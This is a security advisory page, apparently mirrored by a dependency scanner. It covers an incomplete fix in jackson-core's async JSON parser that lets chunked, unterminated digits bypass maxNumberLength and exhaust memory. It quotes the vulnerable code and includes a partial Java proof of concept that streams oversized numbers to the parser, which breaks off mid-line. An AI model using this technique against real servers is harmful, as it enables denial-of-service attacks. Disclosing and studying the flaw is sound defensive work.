high

GHSA-r7wm-3cxj-wff9#tools.jackson.core:jackson-core

Maven · tools.jackson.core:jackson-core

Summary

jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)

Severity
high
CWE
CWE-770
Published
2026-07-21
Updated
2026-07-21

Advisory details

Summary

The fix released in jackson-core 2.18.6 and 2.21.1 for GHSA-72hv-8253-57qq (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit b0c428e6 (#1555) wired validateIntegerLength into a new _setIntLength helper and called it at every place where the integer portion of a number is decided (terminator byte arrived, . / e/E seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: "ran out of input while still inside MINOR_NUMBER_INTEGER_DIGITS, return NOT_AVAILABLE to caller".

As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows on every chunk, and validateIntegerLength is never invoked. The accumulator is only gated by maxStringLength (20 MiB default) — a ~20,000x amplification of the documented maxNumberLength (1000 default).

This is the same vulnerability class, same advisory wording ("Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers"), same parser class — just the streaming path the original fix didn't cover. The fix to the fraction path is correct (see _finishFloatFraction at line 1834-1837 of NonBlockingUtf8JsonParserBase.java in 2.18.6, where _setFractLength(fractLen) IS called before the NOT_AVAILABLE return); the equivalent call is missing from every integer-digit path.

Affected versions

Verified on the patched releases:

Structurally identical code in tools.jackson.core 3.0.x / 3.1.x — same NonBlockingUtf8JsonParserBase class, same _setIntLength rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.

Affected code

src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java in 2.18.6 / 2.21.1.

Site 1 — _startPositiveNumber(int ch) lines 1320-1330:

if (outPtr >= outBuf.length) {
    // NOTE: must expand to ensure contents all in a single buffer (to keep
    // other parts of parsing simpler)
    outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
if (++_inputPtr >= _inputEnd) {
    _minorState = MINOR_NUMBER_INTEGER_DIGITS;
    _textBuffer.setCurrentLength(outPtr);
    return _updateTokenToNA();          // <-- no validateIntegerLength(outPtr)
}

Site 2 — _finishNumberIntegralPart lines 1691-1727:

protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
    int negMod = _numberNegative ? -1 : 0;

    while (true) {
        if (_inputPtr >= _inputEnd) {
            _minorState = MINOR_NUMBER_INTEGER_DIGITS;
            _textBuffer.setCurrentLength(outPtr);
            return _updateTokenToNA();    // <-- no validateIntegerLength(outPtr + negMod)
        }
        int ch = getByteFromBuffer(_inputPtr) & 0xFF;
        if (ch < INT_0) {
            if (ch == INT_PERIOD) {
                _setIntLength(outPtr+negMod);   // <-- validated here
                ++_inputPtr;
                return _startFloat(outBuf, outPtr, ch);
            }
            break;
        }
        if (ch > INT_9) {
            if ((ch | 0x20) == INT_e) {
                _setIntLength(outPtr+negMod);   // <-- validated here
                ++_inputPtr;
                return _startFloat(outBuf, outPtr, ch);
            }
            break;
        }
        ++_inputPtr;
        if (outPtr >= outBuf.length) {
            outBuf = _textBuffer.expandCurrentSegment();
        }
        outBuf[outPtr++] = (char) ch;
    }
    _setIntLength(outPtr+negMod);            // <-- validated here
    _textBuffer.setCurrentLength(outPtr);
    return _valueComplete(JsonToken.VALUE_NUMBER_INT);
}

The pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every "ran out of input mid-integer" exit returns to the caller without validating the accumulator length.

Compare with the fraction path that is correct

_finishFloatFraction lines 1827-1838:

while (loop) {
    if (ch >= INT_0 && ch <= INT_9) {
        ++fractLen;
        if (outPtr >= outBuf.length) {
            outBuf = _textBuffer.expandCurrentSegment();
        }
        outBuf[outPtr++] = (char) ch;
        if (_inputPtr >= _inputEnd) {
            _textBuffer.setCurrentLength(outPtr);
            _setFractLength(fractLen);          // <-- VALIDATED
            return JsonToken.NOT_AVAILABLE;
        }
        ch = getNextSignedByteFromBuffer();
    }
    ...
}

Impact

Reactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping JsonFactory.createNonBlockingByteArrayParser() or createNonBlockingByteBufferParser()) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set StreamReadConstraints.builder().maxNumberLength(N) on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to maxStringLength (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.

The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser on complete input are not affected — those paths go through _setIntLength or ParserBase._reportTooLongIntegral correctly.

CWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.

Proof of concept

Standalone PoC, no Maven required:

mkdir poc && cd poc
curl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar
cat > PoC.java <<'EOF'
import com.fasterxml.jackson.core.*;
import com.fasterxml.jackson.core.async.ByteArrayFeeder;

public class PoC {
    public static void main(String[] args) throws Exception {
        StreamReadConstraints strict = StreamReadConstraints.builder()
                .maxNumberLength(1000)
                .build();
        JsonFactory f = new JsonFactoryBuilder()
                .streamReadConstraints(strict)
                .build();

        // Sanity: synchronous parser rejects 5000-digit int.
        try (JsonParser p = f.createParser("{\"v\":" + "1".repeat(5000) + "}")) {
            while (p.nextToken() != null) { /* drive */ }
            System.out.println("[-] BUG ABSENT: sync parser accepted");
            return;
        } catch (Exception e) {
            System.out.println("[+] sync parser rejected 5000-digit int: " + e.getClass().getSimpleName());
        }

        // Bug: async parser, chunked, no terminator.
        JsonParser ap = f.createNonBlockingByteArrayParser();
        ByteArrayFeeder feeder = (ByteArrayFeeder) ap;

        byte[] preamble = "{\"v\":".getBytes("UTF-8");
        feeder.feedInput(preamble, 0, preamble.length);
        while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }

        byte[] digits = new byte[16 * 1024];
        for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9));

        for (int c = 0; c < 600; c++) {
            feeder.feedInput(digits, 0, digits.length);
            JsonToken t = ap.nextToken();
            if (t != JsonToken.NOT_AVAILABLE) {
                System.out.println("[-] unexpected token: " + t);
                return;
            }
        }
        System.out.prin

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.